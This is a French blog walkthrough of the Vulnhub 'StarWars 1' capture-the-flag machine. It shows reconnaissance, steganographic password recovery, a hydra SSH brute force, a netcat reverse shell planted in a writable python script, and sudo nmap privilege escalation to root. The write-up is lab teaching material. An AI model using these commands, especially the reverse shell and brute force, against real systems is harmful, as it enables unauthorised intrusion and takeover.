Hi guys ! ça fait un petit moment que l’on n’a pas visité la plateforme Vulnhub non ? C’est pourquoi je vous propose aujourd’hui un petit CTF sympathique : StarWars 1.

Rien de bien compliqué à priori, vous connaissez le principe ? Comme d’habitude, obtenir les privilèges du super utilisateur root.

Voici le lien direct : https://www.vulnhub.com/entry/star-wars-ctf-1,528/

Si tout est bon pour vous, visitons la galaxie et obtenons le contrôle !

 

I. Reconnaissance

Partons du principe où vous n’avez pas de difficulté à utiliser un hyperviseur (VirtualBox ou VMWare).

Durant cet article j’utiliserai une machine Kali Linux pour l’attaque, vous êtes libres d’utiliser celui qui vous va le mieux.

Prêts ? alors on peut y aller !

 

Tout d’abord commençons par obtenir l’adresse ip de notre cible, rien de plus simple avec la commande : netdiscover -r ip/24

 

Voilà, nous avons obtenu l’adresse ip de la cible. Passons maintenant à la phase de collecte d’informations.

 

II. Collecte d’informations 

 

À présent, on va effectuer un scan afin de connaître les différents ports ouverts et les services actifs avec leurs versions respectives. Pour cela vous avez le choix d’utiliser Nmap ou Masscan :

nmap -A -sV -p- 192.168.1.91

 

 

On voit deux ports ouverts, le 21 (SSH) et le 80 (http). Visitons l’interface web : http://ip_address/

 

N’oubliez jamais de regarder le code source de la page en question, il peut s’avérer être très intéressant :

On peut voir qu’il nous indique que le mot de passe est ici, mais on ne voit pas de codage spécifique. Essayons de télécharger l’image et d’utiliser un outil de stéganographie en ligne (google est votre ami en tapant steganography online) :

Attention ! il y a deux images un .jpg et un .png, donc à vous de voir lequel fonctionne 😊

 

Super, nous avons un mot de passe mais il nous manque un nom d’utilisateur. Explorons les sous domaines à l’aide de l’outil dirb ou gobuster :

dirb http://192.168.1.91

 

Intéressant ! il y a le protocole d’exclusion des robots, on pourra obtenir des ressources non indexées :

 

Il y a une information importante, on nous demande de visiter le sous domaine r2d2. Pas de nom d’utilisateur trouvé sur cette page non plus mais gardons en tête l’existence de cette page.

Afin de trouver plus d’informations, je décide de rajouter des extensions dans ma recherche :

dirb http://192.168.1.91/ -X .php,.txt,.html,.css,.js

Une page que l’on n’a pas visitée encore http://192.168.1.91/users.js, à mon avis il doit contenir les noms d’utilisateurs comme l’indique son nom :

 

III. Exploitation

 

Et voilà, faisons le point : nous avons un mot de passe obtenu précédemment et deux utilisateurs. Manque à trouver la correspondance, pour cela vous pouvez utiliser la méthode de brut forcing par dictionnaire. Mais vu le nombre de possibilités (très faible) je décide d’utiliser le même mot de passe pour Skywalker et han avec une connexion SSH.

ssh skywalker@192.168.1.91 (n’a pas fonctionné)

han@192.168.1.91 (fonctionne)

 

Nous avons réussi à nous connecter, profitons de cette opportunité pour trouver des informations et essayer d’obtenir les privilèges root.

Vu que l’on a la main, explorons au maximum ce que l’on peut dénicher :

Alors, ici on a trouvé un répertoire .secrets qui contient un fichier note.txt. Dans ce dernier il y a un petit mot Anakin is a cewl kid. Après avoir réfléchi j’ai effectué une recherche sur cewl qui est un générateur de liste personnalisée de mots écrit en Ruby qui, avec une URL retourne une liste de mots qui peut ensuite être utilisée pour des applications de brute forcing tel que JohnTheRipper ou Hydra.

Oui mais quel URL ? rappelez-vous de la page r2d2 !

En se basant sur ces informations, voici la commande à utiliser :

cewl http://192.168.1.91/r2d2 > pass.txt

 

 

Une bonne chose de faite, on va maintenant utiliser le fichier pass.txt pour trouver le mot de passe de skywalker avec l’outil hydra :

hydra -l skywalker -P pass.txt 192.168.1.91 ssh 

 

Génial ! un mot de passe trouvé, n’attendez plus et connectez-vous à skywalker avec le terminal actif (user han). Voici la commande :  su skywalker

Une fois de plus, explorez l’ensemble des fichiers, répertoires du nouvel utilisateur.

Hum, un autre utilisateur est présent (Darth) ? vérifions ça de suite :

Effectivement, Darth est bien un user. Vous auriez pu utiliser la commande cat /etc/passwd aussi.

Une visite dans le répertoire de ce dernier s’impose :

Un fichier evil.py (un script python) est présent dans le répertoire .secrets, d’ailleurs il y a ce dernier pour chaque utilisateur. Analysons de prêt ce fichier :

Bonne nouvelle ! nous avons les droits d’écriture pour ce fichier. Ajoutons un petit script malveillant pour obtenir un reverse_shell afin de se connecter en tant que Darth.

Voici le petit script (vous pouvez le trouver sur google sans problème) :

import os

os.system(« nc -e /bin/bash 192.168.1.188 1234)

 

Utilisez la commande nano evil.py pour ajouter le petit bout de code :

Dans un autre terminal, utilisez la commande nc -lvnp 1234 pour lancer une écoute :

 

Super ! la connexion a fonctionné, maintenant il faut avoir un shell plus stable. Pour cela utilisez la commande suivante : python -c ‘import pty;pty.spawn(« /bin/bash »)’

Maintenant que nous sommes Darth, il faut obtenir les privilèges root.

Par où commencer ? il faut toujours dans un premier temps essayer la commande sudo -l :

 

Maintenant allez sur le site gtfobins (https://gtfobins.github.io/) puis cherchez nmap :

Voilà, nous avons ce qu’il faut. Il faut à présent utiliser les commandes suivantes :

echo ‘os.execute(« /bin/bash »)’ > /tmp/super.nse  (ici .nse est en lien avec nmap voir manuel nmap)

sudo nmap –script=/tmp/super.nse

 

 

Super flag ! Vous êtes root

 

IV. Conclusion

 

C’est terminé pour ce CTF, finalement pas très compliqué. Il est très intéressant sur l’aspect escalade des privilèges, vous retrouverez ce scénario dans plusieurs challenges donc retenez bien 😉 !

Si vous avez des questions ou des demandes n’hésitez pas à me contacter, je me tiens à votre disposition. A très vite pour un prochain article.

PEACE !

No responses yet

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

un + dix =

Follow by Email
YouTube